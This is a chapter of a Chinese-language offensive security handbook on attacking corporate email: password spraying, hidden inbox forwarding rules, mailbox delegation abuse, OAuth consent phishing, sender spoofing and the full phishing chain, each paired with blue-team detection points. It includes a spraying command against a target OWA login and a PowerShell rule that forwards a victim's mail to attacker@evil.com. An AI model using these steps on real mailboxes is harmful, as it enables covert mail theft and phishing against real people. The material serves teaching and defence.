逆向工程实战手册 第 73 章

第 73 章 邮件系统攻击(OAuth 滥用 / 转发规则 / 钓鱼链)

邮件是企业身份的中心:邮箱=大量凭据、敏感数据、以及"身份跳板"。攻击面包括:转发规则滥用(持久化)、OAuth 应用授权、共享邮箱/委派、邮件头伪造、以及钓鱼链的最终落地。本章覆盖邮件攻击从初始访问到持续控制的完整链条。

📍 知识点地图 | 主题:邮件攻击 | 前置:第69章 | 后续:— | 核心概念:转发规则、OAuth应用、SPF/DKIM、钓鱼链

73.1 邮件攻击面地图

┌──────────────────────────────────────────────┐
│ 1. 凭据层: 密码/哈希/OAuth token             │
│ 2. 邮箱规则层: 转发/收件箱规则(持久化!)    │
│ 3. 权限层: 共享邮箱/委派/审批流程             │
│ 4. 应用层: OAuth 应用授权(App Consent)      │
│ 5. 内容层: 邮件头伪造/SPF-DKIM-DMARC         │
│ 6. 交互层: 钓鱼/邮件协议滥用(SMTP 中继)     │
└──────────────────────────────────────────────┘

73.2 凭据获取与初始访问

□ 密码喷洒(第 59 章): 对 OWA/Exchange/365 登录接口
□ 哈希 relay(第 71 章): 认证中继到邮件服务
□ 钓鱼获取凭据(诱导登录): 这是"邮件→凭据"的循环
□ OAuth token 窃取: 恶意 App 授权(73.5)
□ 会话劫持: Cookie/token 窃取

工具:
  spray(密码喷洒): python spray.py -u users.txt -p pass.txt https://target/owa
  MailSniper: Exchange/365 枚举与利用(搜索邮件)

73.3 邮箱规则滥用(最常见的持久化后门)

原理

Exchange/365 支持"收件箱规则"(Inbox Rules):
  条件(来自某人/包含关键词/所有邮件)
  → 动作(转发/移动/删除/标记)

攻击价值:
  1. 转发规则: 把目标邮箱的邮件转发给攻击者 → 持续窃听
  2. 删除规则: 隐藏攻击痕迹(删除告警邮件)
  3. 移动规则: 隐藏已读的敏感邮件
  4. 持久化: 规则藏在邮箱里(用户不知道/很难发现)

创建规则(攻击者视角)

# Exchange PowerShell(有权限时)
New-InboxRule -Name "backup" -Mailbox user@domain \
  -ForwardTo attacker@evil.com -AlwaysReportToOriginator:$false

# Outlook Web Access (OWA): 设置 → 收件箱规则
# 365: 设置 → 邮件 → 转发

检测(蓝队视角)

□ 规则创建/变更审计(异常:新规则/转发到外部地址)
□ 邮件流向监控(内部 → 外部地址的异常转发)
□ 规则权限审计(谁对邮箱有"管理规则"权限)
□ 转发地址白名单

73.4 共享邮箱与委派滥用

□ 共享邮箱(Shared Mailbox): 多人访问同一邮箱 → 权限扩散
  攻击者获得共享邮箱权限 → 读取/操作共享数据
□ 委派(Delegation): 授权他人访问自己的邮箱
  攻击者创建委派 → 持续访问
□ 审批流程滥用: 邮件审批链(请假/报销/权限申请)→ 操控审批结果
□ 自动回复(AutoReply): 可能泄露信息(出差/内部联系人)

原理

365/Azure AD 允许用户授权第三方应用访问自己的数据(同意授权)
攻击者创建恶意应用 → 诱导用户授权:
  □ 恶意权限(读邮件/读联系人/发邮件)
  □ 授权后: 应用长期访问用户邮箱(token 刷新)

攻击流程:
  1. 注册恶意 Azure AD 应用(请求 Mail.Read/Send 权限)
  2. 构造授权链接 → 诱导用户点击(钓鱼邮件/页面)
  3. 用户授权 → 应用拿到 token(长期)
  4. 持续读取/发送用户邮件(绕过密码和 MFA!)

检测

□ 新应用授权审计(谁授权了什么应用)
□ 应用权限审查(请求过大权限的应用)
□ 条件访问策略(限制第三方应用授权)
□ 用户教育("授权即交出邮箱")

73.6 邮件头伪造与协议滥用

□ SPF/DKIM/DMARC 配置缺陷 → 伪造发件人
  □ SPF 未配置/宽松(+all)
  □ DKIM 未签名
  □ DMARC 无策略(none)→ 伪造邮件可送达
□ 邮件头注入(Header Injection): 注入 Bcc/额外收件人
□ SMTP 开放中继: 服务器允许任意转发 → 垃圾邮件/钓鱼中继
□ 内部邮件信任滥用: 伪造"内部"邮件 → 社工更有效

检查工具:
  SPF: dig TXT <domain>
  DMARC: dig TXT _dmarc.<domain>
  DKIM: dig TXT <selector>._domainkey.<domain>

73.7 钓鱼链的完整闭环(邮件攻击全景)

1. 侦察: 收集目标员工邮箱/组织结构(第 57.3)
2. 伪造: 构造可信发件人(SPF/DMARC 缺陷或借用被控邮箱)
3. 投递: 钓鱼邮件(凭据钓鱼/附件恶意文档/链接)
4. 落地: 凭据窃取(伪造登录页)/恶意附件执行
5. 后门: 转发规则(73.3)→ 持续窃听
6. 横向: 邮箱里的密码/内网信息(邮件是信息金矿)
7. 二次钓鱼: 用被控邮箱向内部发钓鱼(信任链)

73.8 邮件攻击检查清单

□ 邮箱凭据获取路径(喷洒/relay/钓鱼)
□ 转发规则检查与创建(持久化)
□ 共享邮箱/委派权限枚举
□ OAuth 应用授权审计
□ SPF/DKIM/DMARC 配置检查
□ 邮件搜索(MailSniper: 敏感数据/凭据)
□ 自动回复信息泄露
□ 报告: 初始访问 + 持久化 + 数据影响

动手练习

  1. 检查一个域名的 SPF/DKIM/DMARC 配置(dig 查询),评估伪造邮件可行性。
  2. 在测试环境(或练习平台)创建一个邮箱转发规则,体验"转发后门"。
  3. 分析一份钓鱼邮件样本(邮件头),判断它的伪造技术(SPF 失败? 头注入?)。
  4. 画一张"邮件攻击闭环"图:从钓鱼到转发规则持久化的完整链。

深入阅读

  • 仓库:CTF-Sandbox-Orchestrator/competition-mailbox-abuse/(邮箱滥用 CTF 子技能)
  • 仓库:CTF-Sandbox-Orchestrator/competition-oauth-oidc-chain/(OAuth 应用授权)
  • 仓库:CTF-Sandbox-Orchestrator/competition-identity-windows/(AD 身份)
  • 仓库:skills/attack-chain/SKILL.md(钓鱼阶段)
  • 实战案例:skills/field-journal/seed-012_log4shell-jndi-rce.md(邮件触发场景)